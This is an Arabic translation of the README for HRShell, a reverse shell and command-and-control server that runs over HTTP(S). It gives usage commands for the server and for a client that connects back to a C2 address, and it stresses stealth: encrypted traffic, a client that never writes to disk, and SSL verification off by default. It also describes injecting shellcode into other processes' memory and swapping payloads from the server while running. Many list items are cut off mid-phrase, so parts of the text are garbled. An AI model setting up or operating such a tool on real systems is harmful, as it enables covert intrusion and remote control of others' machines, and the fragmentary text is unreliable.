
HRShell هي صدفة عكسية عبر HTTPS/HTTP مبنية باستخدام Flask. وهي خادم C2 متقدم يضم العديد من الميزات والإمكانيات.
HRShell هي شل عكسية عبر HTTPS/HTTP مبنية باستخدام Flask ومتوافقة مع python 3.x. تم اختبار client.py بنجاح على:
بينما server.py متوافق مع أنظمة Unix (دعم Windows قريباً...)
migrate <PID>) بتحديد معرف العملية
cd والمتغيرات).history تفاعلي متاح على أنظمة Unix.download/upload/screenshot/hex متاحة.|) والأوامر المتسلسلة (;).gunicorn و Nginx.server.py و client.py قابلان للتوسع بسهولة.*لتغييرات الإصدارات، راجع CHANGELOG.
HRShell خفي لأنه يستخدم بروتوكول HTTP(S) كطريقة اتصال بين العميل والخادم. بالإضافة إلى ذلك، عند استخدام TLS، يكون حركة المرور مشفرة أيضًا. أيضًا إذا لم يتم كتابة الشهادة (CERT) يدويًا في العميل (وهو خيار ممكن) ولم يتم استخدام أمر upload، فإن client.py لا يلمس القرص إطلاقًا.
جانب الخادم:
ما لم يتم تحديد خيار --http، يكون server.py افتراضيًا HTTPS باستخدام شهادات فورية، نظرًا لأن الشهادات الفورية هي ميزة مدمجة في Flask. ولكن إذا تم تحديد خيار -s tornado لجعل الخادم يستخدم TLS، فيجب تحديد خيار --cert و --key على النحو التالي:
python server.py -s tornado --cert /path/cert.pem --key /path/key.pem
يمكن استخدام شهادات "حقيقية" أو طريقة أخرى لتوليد زوج شهادة/مفتاح مثل استخدام mkcert أو openssl مباشرة كما يلي:
openssl req -x509 -newkey rsa:4096 -nodes -out cert.pem -keyout key.pem -days 365
يمكن أيضًا استخدام زوج شهادة/مفتاح مع خادم flask:
python server.py --cert /path/cert.pem --key /path/key.pem
⚠️ إذا كان الخادم يستخدم TLS، فلا يمكن للعميل من حيث التصميم استخدام
http://...للاتصال بالخادم، بل يجب استخدامhttpsبدلاً من ذلك.
جانب العميل: افتراضيًا، يكون التحقق من SSL معطلًا في العميل، إلا إذا:
--cert مثل:
python client.py -s https://192.168.10.7:5000 --cert /path/cert.pem
CERT، بدلاً من القيمة الافتراضية None، مسبقًا بشهادة صالحة مثل:
CERT = """
-----BEGIN CERTIFICATE-----
MIIBoDCCAUoCAQAwDQYJKoZIhvcNAQEEBQAwYzELMAkGA1UEBhMCQVUxEzARBgNV
BAgTClF1ZWVuc2xhbmQxGjAYBgNVBAoTEUNyeXB0U29mdCBQdHkgTHRkMSMwIQYD
VQQDExpTZXJ2ZXIgdGVzdCBjZXJ0ICg1MTIgYml0KTAeFw05NzA5MDkwMzQxMjZa
...
-----END CERTIFICATE-----
"""
في هذه الحالة، سيحاول client.py إنشاء ملف .cert.pem مخفي تلقائيًا وسيستخدمه بدلاً من ذلك.⚠️ أن تعطيل التحقق من SSL افتراضيًا على العميل لا يعني بأي حال أن TLS معطل أيضًا، سيتم تمكين TLS إذا استخدمه الخادم - لذا يعتمد TLS كليًا على الخادم. خيار
--certعلى العميل موجود فقط كطريقة بديلة لوجود جلسة مشفرة بين الخادم والعميل، وهذا كل شيء.
يوجد "وضعان" لحقن شيل الكود باستخدام الأمرين التاليين على التوالي:
migrate <PID>: باستخدام هذا الأمر يمكننا حقن شيل الكود في مساحة الذاكرة لعملية أخرى عن طريق تحديد معرف العملية الخاص بها. حاليًا، يمكن تطبيق هذا الأمر فقط على منصات Windows x86/x64!
inject shellcode: باستخدام هذا الأمر، يتم إنشاء خيط جديد (أو عملية فرعية على أنظمة unix) من عمليتنا الحالية ويتم حقن شيل الكود في مساحة الذاكرة الخاصة به. ونتيجة لذلك، لا تتأثر شل HTTP(S) الخاصة بنا بالحقن. المنصات التي يمكن تطبيق هذا الأمر عليها هي: Unix x86/x64, Windows x86!
هناك طريقتان يمكنك من خلالها تحديد/تعيين نوع شيل الكود الذي تريد أن ينفذه العميل:
shellcode مسبقًا في برنامج client.py النصي ليكون شيل كود صالحًا أوset shellcode <shellcode-id> للقيام بذلك بسرعة. باستخدام هذا الأمر يمكنك تحديث شيل الكود الخاص بك على جانب العميل من جانب الخادم عدة مرات كما تريد!
الطريقة الأولى واضحة ومباشرة. ومع ذلك، لاستخدام الطريقة الثانية والأكثر ملاءمة (نظرًا لأنه يمكنك أيضًا تعديل شيل كود تم تعيينه بالفعل) يجب عليك إعداد برنامج shellcodes/utils.py النصي بحيث يحتوي على شيل الكود (أكواد) الذي تختاره. يحتوي البرنامج النصي على مثال لكيفية القيام بذلك.
💡 يمكنك تعديل/تحديث برنامج
shellcodes/utils.pyالنصي حتى بعد تشغيلserver.pyعدة مرات كما تريد، حيث سيستخدمserver.pyبشكل ديناميكي الإصدار الأحدث/الأكثر حداثة. بهذه الطريقة يمكنك تعيين وتعديل شيل الكودات أثناء العمل...
الأوامر الخاصة:
أي أمر آخر مدعوم إذا كان غير تفاعلي مثل مثل gdb, top إلخ... أيضًا بكتابة python server.py -h أو python client.py -h يمكنك الحصول على معلومات حول الوسائط المتاحة للخادم والعميل.